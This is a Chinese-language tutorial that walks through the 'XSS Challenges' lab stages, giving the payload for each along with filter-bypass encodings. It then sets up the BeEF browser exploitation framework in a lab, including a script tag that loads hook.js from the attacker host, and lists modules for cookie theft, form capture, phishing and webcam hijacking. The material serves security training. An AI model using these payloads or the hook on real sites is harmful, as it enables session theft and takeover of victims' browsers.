XSS Challenges通关和Beef介绍
字数 1101 2025-08-15 21:31:30

XSS挑战通关与Beef框架实战指南

第一部分:XSS靶机实战

XSS基础概念

XSS(跨站脚本攻击)是一种通过在目标网站注入恶意脚本,在用户浏览器执行的攻击方式。常见测试payload:

  • <script>alert(1)</script> - 基础弹窗
  • <script src=x onerror=alert(1)> - 利用加载失败触发
  • <svg onload=alert(1)> - SVG标签利用
  • <a href=javascript:alert(1)> - JavaScript伪协议

靶机挑战解析

Stage-1:无过滤基础注入

<script>alert(document.domain);</script>

Stage-2:闭合标签注入

11111"><script>alert(document.domain);</script>
" onmouseover=alert(document.domain)>

Stage-3:下拉菜单注入

Japan [</option><script>alert(document.domain)</script>

Stage-4:隐藏参数注入

"><svg onload=alert(document.domain)>%0a
"><script>alert(document.domain);</script>

Stage-5:事件触发

"><svg/onload=alert(document.domain)>%0a

Stage-6:HTML实体绕过

111" onmouseover="alert(111)">

Stage-7:事件属性注入

777 onmouseover=alert(document.domain);

Stage-8:JavaScript伪协议

javascript:alert(document.domain)

Stage-10:关键字过滤绕过

"><script>alert(document.dodomainmain);</script>
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

Stage-11:script过滤绕过

"><a href="javascr ipt:alert(document.domain);">xss</a>
"><a href=javascri&#09pt:alert(document.domain)>test</a>

Stage-12:IE特性利用

`` onmousemove=alert(document.domain)

Stage-13:CSS背景注入(IE)

background-color:#f00;background:url("javascript:alert(document.domain);");

Stage-14:表达式过滤绕过

background-color:salmon;xss:expre/**/ssion(if(!window.x){alert(document.domain);window.x=1})

Stage-15:十六进制编码绕过

\\x3csvg\\x2fonload=alert(document.domain)\\x3e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Stage-16:Unicode编码绕过

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\u003cimg src=x onerror=alert(document.domain)\\u003e

第二部分:Beef框架实战

Beef框架介绍

Browser Exploitation Framework是最强大的浏览器开源渗透测试框架,通过XSS漏洞配合多功能JS脚本实现攻击。

主要功能

  1. 信息收集:网络发现、cookie获取、会话劫持
  2. 社工攻击:点击劫持、弹框告警、钓鱼页面
  3. 组合攻击:内网攻击、CSRF、DDOS等

实验环境搭建

  • 攻击者:Kali Linux (192.168.10.20)
  • 漏洞服务器:DVWA (192.168.10.1)
  • 受害者:Windows 7 (192.168.10.7)

Beef启动流程

  1. 启动Apache服务:
systemctl start apache2
systemctl status apache2
  1. 安装并启动Beef:
apt-get install beef-xss -y
beef-xss
  1. 访问控制台:
http://192.168.10.20:3000/ui/authentication

钓鱼攻击实施

注入恶意代码:

<script src="http://192.168.10.20:3000/hook.js"></script>

功能颜色标识

  • 绿色:生效且隐蔽
  • 橙色:生效但可能被发现
  • 灰色:可能生效需验证
  • 红色:不生效

核心功能详解

  1. 信息收集模块

    • 获取AJAX请求
    • 窃取Cookie
    • 捕获表单数据
    • 获取页面链接
  2. 攻击模块

    • 钓鱼攻击
    • 页面内容篡改
    • 摄像头劫持
    • 网络探测
  3. 持久化模块

    • 会话维持
    • 反向连接
    • 自动重连

防御建议

  1. 输入输出过滤
  2. CSP策略实施
  3. HttpOnly标记Cookie
  4. 内容安全策略
  5. 框架版本更新

总结

本指南详细介绍了从基础XSS注入到高级绕过技术,以及如何利用Beef框架进行实际攻击。理解这些技术有助于更好地防御XSS攻击,提升Web应用安全性。

XSS挑战通关与Beef框架实战指南 第一部分:XSS靶机实战 XSS基础概念 XSS(跨站脚本攻击)是一种通过在目标网站注入恶意脚本,在用户浏览器执行的攻击方式。常见测试payload: <script>alert(1)</script> - 基础弹窗 <script src=x onerror=alert(1)> - 利用加载失败触发 <svg onload=alert(1)> - SVG标签利用 <a href=javascript:alert(1)> - JavaScript伪协议 靶机挑战解析 Stage-1:无过滤基础注入 Stage-2:闭合标签注入 Stage-3:下拉菜单注入 Stage-4:隐藏参数注入 Stage-5:事件触发 Stage-6:HTML实体绕过 Stage-7:事件属性注入 Stage-8:JavaScript伪协议 Stage-10:关键字过滤绕过 Stage-11:script过滤绕过 Stage-12:IE特性利用 Stage-13:CSS背景注入(IE) Stage-14:表达式过滤绕过 Stage-15:十六进制编码绕过 Stage-16:Unicode编码绕过 第二部分:Beef框架实战 Beef框架介绍 Browser Exploitation Framework 是最强大的浏览器开源渗透测试框架,通过XSS漏洞配合多功能JS脚本实现攻击。 主要功能 信息收集:网络发现、cookie获取、会话劫持 社工攻击:点击劫持、弹框告警、钓鱼页面 组合攻击:内网攻击、CSRF、DDOS等 实验环境搭建 攻击者:Kali Linux (192.168.10.20) 漏洞服务器:DVWA (192.168.10.1) 受害者:Windows 7 (192.168.10.7) Beef启动流程 启动Apache服务: 安装并启动Beef: 访问控制台: 钓鱼攻击实施 注入恶意代码: 功能颜色标识 绿色 :生效且隐蔽 橙色 :生效但可能被发现 灰色 :可能生效需验证 红色 :不生效 核心功能详解 信息收集模块 获取AJAX请求 窃取Cookie 捕获表单数据 获取页面链接 攻击模块 钓鱼攻击 页面内容篡改 摄像头劫持 网络探测 持久化模块 会话维持 反向连接 自动重连 防御建议 输入输出过滤 CSP策略实施 HttpOnly标记Cookie 内容安全策略 框架版本更新 总结 本指南详细介绍了从基础XSS注入到高级绕过技术,以及如何利用Beef框架进行实际攻击。理解这些技术有助于更好地防御XSS攻击,提升Web应用安全性。